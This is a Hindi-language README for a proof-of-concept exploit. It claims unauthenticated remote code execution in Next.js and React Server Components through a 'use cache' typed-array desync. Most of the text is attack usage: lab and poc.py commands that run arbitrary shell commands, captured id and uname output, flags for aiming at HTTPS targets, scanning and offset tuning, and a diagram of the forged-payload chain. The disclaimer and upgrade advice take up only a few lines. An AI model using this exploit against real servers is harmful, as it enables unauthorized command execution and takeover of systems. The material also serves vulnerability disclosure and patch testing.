
PoC: Next.js use-cache typed-array framing desync के माध्यम से अनधिकृत RCE (CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3) | docker compose लैब
use cache Typed-Array RCEReact Server Components (react-server-dom-webpack/-parcel/-turbopack 19.0.0–19.3.0) में अनधिकृत RCE, जो Next.js App Router + Cache Components के माध्यम से पहुँचा जा सकता है — Docker में विभेदक-सत्यापित: 16.4.0/19.3.0 पर मनमाना कमांड निष्पादन, 16.4.1/19.3.1 पर साफ़ विफलता।
केवल अधिकृत परीक्षण। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण की आपके पास लिखित अनुमति है।
| गंभीरता | क्रिटिकल — CVSS v4.0 9.5 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N) |
| असुरक्षित | react-server-dom-* 19.0.0 – 19.3.0 · Next.js 16.0.0 – 16.4.0 (App Router + Cache Components) |
| ठीक किया गया | react-server-dom-* 19.0.9 / 19.1.10 / 19.2.9 / 19.3.1 · Next.js 16.4.1 |
| CWE | CWE-416 (UAF-समतुल्य डीसिंक) · CWE-706 |
| PoC | poc.py — Python 3.8+, केवल stdlib, शून्य निर्भरताएँ |
| लैब | Docker: असुरक्षित (पोर्ट 3100) + पैच किया गया (पोर्ट 3101) एक-कमांड विभेदक के लिए |
docker compose up -d --build lab # vulnerable Next.js 16.4.0 / React 19.3.0
python3 poc.py http://127.0.0.1:3100 --cmd 'id; uname -a'
ताज़ा कंटेनर पर आउटपुट:
[*] action id: 7fd83c9c2021a51139b13e6677e5fa38caee3da138
[+] chunk=4 overread=8192 HTTP 200
[+] Server Action executed with attacker-chosen arguments
================ action output ================
uid=1000(node) gid=1000(node) groups=1000(node)
Linux ee94eee5b39a ... aarch64 GNU/Linux
===============================================
कोई auth नहीं। कोई cookie नहीं। एक GET जिसमें एक crafted ?annotation= parameter है → ऐप का अपना
Server Action हर उस command को चलाता है जो attacker --cmd में डालता है, और output
rendered page में लौटा दिया जाता है।
repo एक ही source tree से दो labs ship करता है, जो केवल version में भिन्न हैं:
| Lab | Next.js | react-server-dom-* | परिणाम |
|---|---|---|---|
lab (port 3100) | 16.4.0 | 19.3.0 | RCE — command output लौटाया गया |
lab-patched (port 3101, --profile patched) | 16.4.1 | 19.3.1 | विफल — annotation अपारदर्शी Uint8Array(8278) रहता है, कोई action invoke नहीं होता |
एक ही app code, एक ही PoC, एक ही request shape। एकमात्र चर patched serializer है। यदि "exploit" कोई lab artifact या misconfiguration होता, तो दोनों पक्ष एक समान व्यवहार करते। वे नहीं करते — हमला ठीक vulnerable range पर सफल होता है और ठीक fixed version पर विफल होता है। यही validated vulnerability PoC की परिभाषा है।
GET।uid=…, uname, मनमाना --cmd) page में वापस render होता है,
इसलिए execution attacker-visible evidence के साथ सिद्ध है, किसी
side effect से अनुमानित नहीं।दोनों images बिना किसी cached state के node:22-bookworm-slim से build होती हैं; exploit
एक ताज़ा docker compose up पर काम करता है। कोई host tooling नहीं, कोई pre-warmed cache नहीं, कोई
manual steps नहीं। Re-run counts: हर ताज़ा rebuild पर exploit confirmed।
poc.py केवल तब 0 exit करता है जब annotation वास्तविक action output
(command results) के रूप में वापस आता है, और तब 1 exit करता है जब वह एक अपारदर्शी Uint8Array(n) बना रहता है — जो ठीक
patched-version signature है। जैसा है वैसा ही CI-able:
python3 poc.py http://127.0.0.1:3100 --cmd 'id' && echo VULNERABLE
python3 poc.py http://127.0.0.1:3101 --cmd 'id' || echo PATCHED-OK
use cache फ़ंक्शन एक साझा ArrayBuffer पर दो Uint8Array व्यू के साथ-साथ कॉलर-प्रभावित एनोटेशन लौटाता है।पूर्व-शर्त CVSS वेक्टर में AT:P की व्याख्या करती है: ऐप पैटर्न (कैश्ड फ़ंक्शन में मल्टी-व्यू साझा ArrayBuffer) वास्तविक अनुप्रयोगों में दुर्लभ है।
attacker annotation (base64, attacker bytes)
│
▼
┌─ use cache ────────────────────────────────────────┐
│ block0 [shared ArrayBuffer] ──► serialized, buffer│
│ block1 [same buffer] ──► DETACHED: length │
│ header, 0 bytes │
│ annotation ──► attacker-controlled stream bytes │
└────────────────────────────────────────────────────┘
│ cache re-read: decoder reads block1's declared
│ length FROM the annotation bytes, resumes parsing there
▼
forged Flight rows ──► server-reference chunk ──► Server Action invoked
with attacker arguments ──► /bin/sh -c "<attacker cmd>"
| पथ | उद्देश्य |
|---|---|
poc.py | केवल-मानक-लाइब्रेरी एक्सप्लॉइट: एक्शन-आईडी खोज, फ़ोर्ज्ड-रो ब्लॉब निर्माण, अनुरोध, आउटपुट पार्सर |
lab/ | Next.js 16.4.0 + React 19.3.0 भेद्य ऐप (Docker) |
lab/app/payload.js | भेद्य use cache फ़ंक्शन |
lab/app/actions.js | विशेषाधिकार प्राप्त सर्वर एक्शन (/bin/sh -c) के लिए लैब स्टैंड-इन |
lab/app/layout.jsx | लैब UI — डार्क टर्मिनल थीम, शून्य निर्भरताएँ |
compose.yaml | भेद्य (3100) + पैच किए गए (3101) लैब, प्रत्येक के लिए एक कमांड |
# 1. vulnerable lab (Next.js 16.4.0 / React 19.3.0)
docker compose up -d --build lab
python3 poc.py http://127.0.0.1:3100 --cmd 'id; uname -a'
# 2. patched lab (Next.js 16.4.1 / React 19.3.1) — must fail
docker compose --profile patched up -d --build lab-patched
python3 poc.py http://127.0.0.1:3101 --cmd 'id'
| फ़्लैग | डिफ़ॉल्ट | उद्देश्य |
|---|---|---|
--cmd | id | हाइजैक किए गए Server Action द्वारा निष्पादित कमांड |
--path | / | कैश्ड फ़ंक्शन को होस्ट करने वाला पेज |
--action-id | auto | डिस्कवरी छोड़ें, 40–64 हेक्स आईडी प्रदान करें |
--chunk-id / --overread | 4 / 8192 | रिज़्यूम-ऑफ़सेट ट्यूनिंग |
--scan | बंद | chunk ids × overread आकारों की स्वीप |
--timeout / --insecure | 30 / बंद | HTTPS लक्ष्य |
लैब पेज स्वयं (http://127.0.0.1:3100/) एक छोटा डार्क-थीम वाला कंसोल है:
स्टेटस टैग के साथ डिकोड-परिणाम पैनल, ऑपरेटर डायग्नोस्टिक्स बटन जिसका आउटपुट
पेज पर रेंडर होता है, और खाली स्थिति में एनोटेशन कॉन्ट्रैक्ट। यह इसलिए मौजूद है ताकि
Server Action आईडी सार्वजनिक HTML में बिल्कुल एक वास्तविक ऐप की तरह भेजी जाए — वही
गुण जिस पर PoC का डिस्कवरी चरण निर्भर करता है।
| लक्ष्य | परिणाम |
|---|---|
| लैब 16.4.0 / 19.3.0 (Docker) | uid=1000(node) + uname -a + मनमाना --cmd आउटपुट पेज में रेंडर — RCE की पुष्टि |
| लैब 16.4.1 / 19.3.1 (Docker) | एनोटेशन अपारदर्शी Uint8Array(8278) रहता है, कोई action invocation नहीं — हमला विफल |
| नेटिव रन (इमेज के समान रनटाइम) | समान अंतर — Docker के बाहर भी पुनरुत्पादित |
react-server-dom-* को 19.0.9 / 19.1.10 / 19.2.9 / 19.3.1 और Next.js को >= 16.4.1 में अपग्रेड करें।use cache फ़ंक्शन से एक ArrayBuffer पर कई व्यू न लौटाएँ; व्यू को अलग बफ़र्स में कॉपी
करें (.slice())।